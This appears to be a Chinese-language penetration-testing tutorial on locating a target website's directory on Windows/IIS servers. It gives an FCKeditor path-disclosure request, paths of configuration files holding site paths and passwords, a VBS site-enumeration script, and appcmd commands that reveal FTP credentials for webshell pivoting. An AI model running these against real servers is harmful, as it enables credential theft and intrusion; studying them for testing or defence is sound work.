滲透測試 - 如何找到目標站目錄 - cracer嗶哩嗶哩
如何找到目標站目錄
1.? 沒有權限 通過爆路徑,
? ? ?找網(wǎng)站目錄
a.? 一些常見phpweb程序都有爆路徑的洞
b. phpmyadmin爆路徑
c .phpinfo.php等測試網(wǎng)站腳本運行正常的腳本
d. fck編輯器爆絕對路徑:
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2F&NewFolderName=aux
shell權限
Windows:c:\windows\php.ini? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? php配置文件
c:\windows\system32\inetsrv\MetaBase.xml? ? ? ? ? ? ? IIS虛擬主機配置文件
C:\Program Files\RhinoSoft.com\Serv-U\c:\Program Files\Serv-U\ServUDaemon.ini 中存儲了虛擬主機網(wǎng)站路徑和密碼?
通過copy? iis6.0配置文件找網(wǎng)站的路徑
如果是服務器權限 直接利用搜索目標網(wǎng)站的唯一圖片路徑找到目標網(wǎng)站路徑
過vbs
0x01查看iis配置文件
0x02 通過注冊表找到目錄列表
0x03 通過dir或者for命令
0x04 appcmd在滲透中的應用
0x05 win和linux配置文件找路徑
?
0x05 win和linux配置文件找路徑
各平臺下Web服務器和PHP的配置文件默認路徑可以上網(wǎng)查,這里列舉常見的幾個。
x01 通過vbs查看iis配置文件
?
腳本如下:
?
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
If IsNumeric(obj3w.Name) Then
sServerName=Obj3w.ServerComment
Set webSite = GetObject("IIS://Localhost/W3SVC/" & obj3w.Name & "/Root")
ListAllWeb = ListAllWeb & obj3w.Name & String(25-Len(obj3w.Name)," ") & obj3w.ServerComment & "(" & webSite.Path & ")" & vbCrLf
End If
Next
WScript.Echo ListAllWeb
Set ObjService=Nothing
WScript.Quit
?
執(zhí)行命令:cscript C:\xxx\列目錄.vbs
這是通過查看iis配置文件獲取目標站信息。
基本信息是網(wǎng)站id,網(wǎng)站名稱,網(wǎng)站路徑
?
這里還介紹一款vbs,可以列出網(wǎng)站的iis用戶名和密碼,然后使用bs大牛寫的webshell來跨目錄。
Adsutil.vbs
?
0x02 通過注冊表找到目錄列表
注冊表位置:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\MSFtpsvc\Parameters\Virtual Roots
0x03 通過dir或者for命令
?
首先是dir命令,可能很多機油覺得虛擬主機上一般是沒有dir命令權限。
但是我實戰(zhàn)中卻卻常常能夠碰見:
dir d:\wwwroot\如圖:
?
雖然不能訪問d:\wwwroot\這個目錄,但是卻能列出詳細信息
for命令對用戶權限要求是最低的,大多數(shù)情況下是可以執(zhí)行了for /d %i in (d:\wwwroot\*) do @echo %i
如圖:
?
0x04 appcmd在滲透中的應用
appcmd是微軟iis7的一款命令行下的管理web的工具。他的使用可以在滲透中取得一些關鍵應用
這里我就講對web滲透實用的幾個命令。其他的命令我都測試過了,基本是權限不夠。
appcmd list site
列出站點及其id號:
?
第二個命令:
appcmd list config
列出所有網(wǎng)站配置信息,如果是在iis7上配置的ftp,則還會列出網(wǎng)站ftp用戶及密碼
??
第三條命令:
appcmd list vdir
該條命令可以列出id號和所有站點的目錄:
?
第二條命令可以直接找到對應站點的ftp和iis密碼,可以聯(lián)合bs牛的馬直接跨到目標站點目錄。
appcmd list cmd
appcmd list vdir